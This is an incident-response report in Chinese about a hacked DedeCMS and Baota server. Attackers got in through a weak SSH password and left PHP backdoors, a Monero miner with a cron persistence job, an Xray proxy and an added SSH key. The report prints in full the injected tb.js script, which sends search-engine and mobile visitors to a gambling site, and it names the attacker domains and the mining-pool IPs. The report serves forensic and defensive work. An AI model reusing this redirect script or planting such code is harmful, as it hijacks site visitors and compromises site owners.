記一次服務器入侵事件的應急響應
0x01 事件背景
8月某日,客戶官網被黑,需在特定時間內完成整改。為避免客戶業務受到影響,實驗室相關人員第一時間展開本次攻擊事件的應急處理。
0x02 事件分析
網站源碼被篡改,攻擊者一定獲取到了權限,那么接下來的思路就是推測攻擊者入侵手段,找到業務脆弱點,對服務器進行全方位排查,找到攻擊者留下來的痕跡并進行分析處理。
2.1 信息收集
與客戶簡單溝通后,得知如下基本信息:
- 官網服務器為租賃的阿里云虛擬專用服務器
- 虛擬專用服務器上部署的官網后臺使用了DedeCMS織夢系統
- 虛擬專用服務器安裝了寶塔面板服務器運維系統
- 虛擬專用服務器安裝的寶塔面板的密碼已被篡改
2.2 攻擊入口判斷
服務器開放了SSH、寶塔、DedeCMS等3個服務,那么接下來我們從服務器開放的服務來推測可能的攻擊入口。
玩過寶塔的朋友都知道,寶塔后臺路徑未知的情況下,通過寶塔后臺GetShell基本上是不可能的。此外,客戶設置的BT面板的用戶名也有些復雜,所以推斷攻擊者從寶塔下手的可能性很小(這里埋個坑,前面提到客戶寶塔后臺密碼被修改的情況,后面會說到原因)。
客戶官網使用的DedeCMS版本為 v5.7 sp2,嘗試所有公開漏洞均未成功。并且,DedeCMS的后臺密碼沒有規律,所以推測從DedeCMS入侵的可能性也不是很大。
客戶給出了服務器的賬號密碼,我們的第一反應是入侵從SSH弱口令開始的。因為我的爆破字典里包含了服務器的密碼(手動笑哭),但這顯然還不能直接讓客戶信服。
綜上,高度懷疑服務器是被爆破SSH弱口令后導致了后續的入侵行為。
2.3 應急響應
在判斷攻擊入口后,我們登錄客戶的服務器,仔細掄了一遍,只能說服務器上的東西有點多。。。
2.3.1 BC黑頁&PHP后門
首先訪問客戶首頁,發現官網頁面表面沒有任何異常,也并未被重定向到BC網站。但是實際上網頁Meta信息被篡改,且會異步請求BC網站和百度統計的若干接口。
推測攻擊者的目的應為BC網站SEO優化,提高網站的SEO排名。
定位到服務器上的DedeCMS網站源碼,發現源碼在7月17日被修改植入了惡意代碼。
網站源碼被插入2個新的meta元素,以及一段JavaScript代碼。下圖為新增的meta元素,解碼后發現是菠菜搜索關鍵詞。
新插入的JavaScript代碼如下圖所示。解碼后發現是一段引用外部js的代碼。
惡意js文件的內容為:
此文件的作用就是插入https://sjbgw2022.com/tb.js的惡意文件以及對惡意SEO優化。
繼續查看tb.js這個文件內容:
//這里省略一大段代碼,因為代碼內容與ly.js內容一致都是對惡意SEO的優化
//上面的代碼與之前一樣作用就是推送自動收錄。
//JS正則表達式判斷來路,如果是下列搜索引擎則指定跳轉網址。
var regexp=/\.(sogou|soso|baidu|bsb|youdao|lanjie|bing|118114|biso|sm|qq|so|safe|toutiao|biso|360)(\.[a-z0-9\-]+){1,2}\//ig;
var where =document.referrer;
if(regexp.test(where))
{
window.location.href="https://tb04.cc/";//滿足就跳轉至菠菜頁面。
}
//更詳細的檢測,判斷是否包含搜索引擎字段,是則跳轉至菠菜頁面。
var sp_regexps =
/\.(yahoo|google|baidu|soso|sogou|bing|sou|so|360|haosou|youdao|sooule|easou|aliyun|sina|jike|Yisou|uc|sm)\./gi;
var sp_whereis = window.location.referrer;
try {
sp_whereis = top.document.referrer;
} catch (e) {}
try {
sp_whereis = window.parent.document.referrer;
} catch (e) {}
var sp_domains = window.location.host;
try {
sp_domains = top.document.domain;
} catch (e) {}
try {
sp_domains = window.parent.document.domain;
} catch (e) {}
if (sp_regexps.test(sp_whereis)) {
window.location.href = 'https://tb04.cc';
parent.window.opener.location = 'https://tb04.cc';
}
//判斷是否是移動端,滿足也跳轉至菠菜頁面。
function browserRedirect() {
var sUserAgent = navigator.userAgent.toLowerCase();
var bIsIpad = sUserAgent.match(/ipad/i) == 'ipad';
var bIsIphoneOs = sUserAgent.match(/iphone os/i) == 'iphone os';
var bIsMidp = sUserAgent.match(/midp/i) == 'midp';
var bIsUc7 = sUserAgent.match(/rv:1.2.3.4/i) == 'rv:1.2.3.4';
var bIsAndroid = sUserAgent.match(/android/i) == 'android';
var bIsCE = sUserAgent.match(/windows ce/i) == 'windows ce';
var bIsWM = sUserAgent.match(/windows mobile/i) == 'windows mobile';
if (!(bIsIphoneOs || bIsMidp || bIsAndroid || bIsCE || bIsWM)) {
} else {
window.location.href = 'https://tb04.cc';
}
}
browserRedirect();
發現這個文件的作用是惡意SEO優化,判斷訪問網站的來路,如果是從搜索引擎過來的就會跳轉至菠菜頁面,如果是直接訪問官網則不會有變化。菠菜頁面截圖如下所示:
此外,在DedeCMS源碼目錄發現了很多PHP后門。
2.3.2 寶塔淪陷
接下來我們進行了日志排查,發現系統日志都已經被清理。
前面說到寶塔密碼已被修改,那么為了登入寶塔,我們直接修改寶塔密碼。在服務器上輸入bt命令進行修改。
登入寶塔后臺后,我們發現最后一次登錄時間為7月16日,攻擊者上傳了一個名為zxc.php的木馬文件。
網站日志未被刪除,日志顯示攻擊者在7月17日通過zxc.php上傳大量后門文件,下圖為日志訪問記錄截圖。
下圖為一個PHP大馬的截圖。
綜上所述,推斷攻擊者是菠菜SEO黑產組織,攻擊手法為利用SSH弱口令遠程登錄服務器,修改寶塔后臺密碼后上傳木馬,進而通過代理機器繼續上傳其它木馬文件。這是2.2節中所述的寶塔密碼被篡改的原因。
2.3.3 門羅幣挖礦木馬
服務器上的問題還不僅僅是被掛黑頁這么簡單。服務器進程排查過程中發現,某進程CPU占用率特別高,不出意外就是挖礦程序了。
跟蹤定位文件位置為/root/.warmup/。
發現挖礦配置文件/root/.warmup/config.json。
從網絡通聯信息發現礦池地址為5.133.65.53至5.133.65.56的IP段。威脅情報表明這是一個門羅幣礦池。
殺死挖礦進程后程序自啟動,刪除挖礦文件后發現過一段時間文件會被重新下載并運行。這說明存在挖礦守護進程或定時任務。經分析,發現一個5月7日就創建的定時挖礦任務。
somescript文件內容為創建一個挖礦自啟動服務warmup,保證進程或文件被刪除后能重新加載挖礦程序。
2.3.4 xray代理
Xray是V2ray的一個分支(Fork)。Xray項目基于V2ray而來,其支持并且兼容V2ray的配置,其官方網站為(https://xtls.github.io/Xray-docs-next/),我們在進程排查中發現有Xray程序正在運行。
Xray最后一次運行時間為8月17日。
2.3.5 SSH后門
最后,除了后門、定時任務外,繼續查看服務器上是否有攻擊者留下的手段。我們發現服務器在5月9日被寫入SSH公鑰,經與客戶確認不是客戶所為。
0x03 應急處理
客戶有業務數據備份,那么處理和加固就簡單多了。我們對服務器進行了如下操作:
- 重置系統服務器
- 修改服務器、系統后臺的口令,加強口令復雜度,避免出現連續性口令
- 自定義日志目錄,避免日志被刪除
- 網站目錄設置除root外所有用戶禁止寫入
- 上傳目錄做權限設置
0x04 事件還原與總結
我們推測攻擊者不止一個,并且都是通過SSH弱口令入侵服務器。事件時間線如下圖所示:
第一波攻擊者可能是挖礦組織,在5月7日大概率利用SSH弱口令進入服務器上傳挖礦程序somescript,且做了對應的維持手段。
第二波攻擊者可能是黑產組織,攻擊時間為7月16日至7月17日,其操作是對網站做黑帽SEO,更改寶塔后臺并上傳大量后門。
第三波攻擊者應該只是想控制一批跳板機,在8月17日上傳了代理程序,目前在服務器上出現的惡意事件最后截止也是到8月17日。